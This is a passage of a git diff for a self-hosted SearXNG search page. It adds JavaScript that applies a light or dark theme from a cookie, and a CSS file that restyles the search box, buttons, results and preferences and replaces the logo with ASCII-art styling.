h5, h6, p { color: ${colors.textPrimary} !important; } + .category, .tab { + background-color: ${colors.bg} !important; + color: ${colors.textPrimary} !important; + border: 2px solid ${colors.border} !important; + border-radius: 8px !important; + } + .category:hover, .tab:hover, .category.selected, .tab.selected { + background-color: ${colors.hover} !important; + color: ${colors.bg} !important; + border-color: ${colors.hover} !important; + } + `; + } + + // Apply theme immediately + const theme = getThemeFromCookie(); + applyTheme(theme); + + // Watch for cookie changes (when user toggles theme on home page) + setInterval(function() { + const newTheme = getThemeFromCookie(); + if (newTheme !== theme) { + applyTheme(newTheme); + } + }, 500); +})(); diff --git a/search/theme.css b/search/theme.css new file mode 100644 index 0000000..3c52b2c --- /dev/null +++ b/search/theme.css @@ -0,0 +1,284 @@ +/* Custom SearXNG theme matching home page colors */ + +/* Light theme colors */ +:root:not(.theme-dark):not(.theme-black) { + --fraggle-bg: #f7f8f7; + --fraggle-bg-body: #f7f8f7; + --fraggle-text-primary: #2a3826; + --fraggle-text-secondary: #62696D; + --fraggle-border: #904b59; + --fraggle-hover: #7d9b8f; + --fraggle-shadow: rgba(42, 56, 38, 0.27); +} + +/* Dark theme colors */ +.theme-dark, +.theme-black { + --fraggle-bg: #0C1012; + --fraggle-bg-body: #1F282E; + --fraggle-text-primary: #59C99C; + --fraggle-text-secondary: #A5A9AB; + --fraggle-border: #326B78; + --fraggle-hover: #326B78; + --fraggle-shadow: rgba(53, 62, 67, 0.27); +} + +/* Load font for ASCII art */ +@font-face { + font-family: GohuFont14NerdFont; + src: url('/GohuFont14NerdFontMono-Regular.ttf'); +} + +/* Override SearXNG background colors */ +body, +html { + background-color: var(--fraggle-bg-body) !important; + color: var(--fraggle-text-primary) !important; + font-family: GohuFont14NerdFont, monospace !important; +} + +/* Main container */ +#main_results, +#main_index { + background-color: var(--fraggle-bg-body) !important; +} + +/* Search input - reduced borders */ +#q, +input[type="text"], +input[type="search"] { + background-color: var(--fraggle-bg) !important; + color: var(--fraggle-text-primary) !important; + border: 2px solid var(--fraggle-border) !important; + box-shadow: 3px 3px 1px 1px var(--fraggle-shadow) !important; + border-radius: 8px !important; +} + +#q:focus, +input[type="text"]:focus, +input[type="search"]:focus { + border-color: var(--fraggle-border) !important; + outline: none !important; +} + +/* Buttons - no borders, no shadows */ +button, +input[type="submit"], +.btn, +button[type="button"], +button[type="submit"] { + background-color: transparent !important; + color: var(--fraggle-text-primary) !important; + border: none !important; + box-shadow: none !important; + text-shadow: none !important; + border-radius: 0 !important; +} + +/* Search form buttons specifically - no borders, no shadows */ +#search_form button, +#search button, +.search_box button, +button[aria-label*="clear"], +button[aria-label*="Clear"], +button[aria-label*="search"], +button[aria-label*="Search"], +#clear_search, +#send_search, +button#clear_search, +button#send_search, +button[type="reset"], +button[type="submit"][id*="search"] { + background-color: transparent !important; + border: none !important; + box-shadow: none !important; + text-shadow: none !important; + outline: none !important; +} + +button:hover, +input[type="submit"]:hover, +.btn:hover { + box-shadow: none !important; + text-shadow: none !important; +} + +button:hover, +input[type="submit"]:hover, +.btn:hover { + color: var(--fraggle-hover) !important; + border-color: var(--fraggle-hover) !important; +} + +/* Links */ +a { + color: var(--fraggle-text-primary) !important; +} + +a:hover { + color: var(--fraggle-hover) !important; +} + +a:visited { + color: var(--fraggle-text-primary) !important; +} + +/* Result cards - minimal borders */ +.result, +.result-default { + background-color: transparent !important; + border: none !important; + box-shadow: none !important; + border-radius: 0 !important; + color: var(--fraggle-text-primary) !important; + padding: 10px 0 !important; + margin-bottom: 15px !important; +} + +.result:hover { + box-shadow: none !important; + background-color: transparent !important; +} + +.result h3 a { + color: var(--fraggle-text-primary) !important; +} + +.result h3 a:hover { + color: var(--fraggle-hover) !important; +} + +.result .content { + color: var(--fraggle-text-primary) !important; +} + +.result .url { + color: var(--fraggle-text-secondary) !important; +} + +/* Navigation */ +nav, +#links_on_top { + background-color: transparent !important; +} + +nav a, +#links_on_top a { + color: var(--fraggle-text-primary) !important; +} + +nav a:hover, +#links_on_top a:hover { + color: var(--fraggle-hover) !important; +} + +/* Search form */ +#search_form, +#search { + background-color: transparent !important; +} + +/* Categories and filters - no borders */ +.category, +.tab { + background-color: transparent !important; + color: var(--fraggle-text-primary) !important; + border: none !important; + box-shadow: none !important; + border-radius: 0 !important; +} + +.category:hover, +.tab:hover, +.category.selected, +.tab.selected { + background-color: transparent !important; + color: var(--fraggle-hover) !important; + border: none !important; +} + +/* Preferences page - no borders */ +fieldset { + border: none !important; + border-radius: 0 !important; + background-color: transparent !important; +} + +legend { + color: var(--fraggle-text-primary) !important; +} + +select, +input[type="text"], +input[type="checkbox"] { + background-color: var(--fraggle-bg) !important; + color: var(--fraggle-text-primary) !important; + border: 1px solid var(--fraggle-border) !important; + border-radius: 4px !important; +} + +/* Logo and branding */ +.logo { + filter: none !important; +} + +.theme-dark .logo, +.theme-black .logo { + filter: brightness(0) saturate(100%) invert(77%) sepia(15%) saturate(1200%) hue-rotate(120deg) brightness(95%) contrast(85%) !important; +} + +/* Text colors */ +h1, h2, h3, h4, h5, h6 { + color: var(--fraggle-text-primary) !important; +} + +p { + color: var(--fraggle-text-primary) !important; +} + +/* Name div styling (ASCII art logo replacement) */ +.name { + font-size: 20px !important; + text-align: center !important; + white-space: pre !important; + color: var(--fraggle-text-primary) !important; + font-family: GohuFont14NerdFont, monospace !important; + margin: 20px 0 !important; + line-height: 1.2 !important; + background-color: transparent !important; + border: none !important; + box-shadow: none !important; + display: block !important; + visibility: visible !important; + opacity: 1 !important; +} + + +/* Hide SearXNG logo */ +#search_logo, +#search_logo svg, +#search_logo img, +.logo, +.logo img, +a[href="/"] img.logo, +a#search_logo { + display: none !important; + visibility: hidden !important; + opacity: 0 !important; + height: 0 !important; + width: 0 !important; + overflow: hidden !important; +} + +/* Remove SearXNG default theme colors */ +.theme-light, +.theme-auto { + --color-base-background: var(--fraggle-bg-body) !important; + --color-base-foreground: var(--fraggle-text-primary) !important; +} + +.theme-dark, +.theme-black { + --color-base-background: var(--fraggle-bg-body) !important; + --color-base-foreground: var(--fraggle-text-primary) !important; +}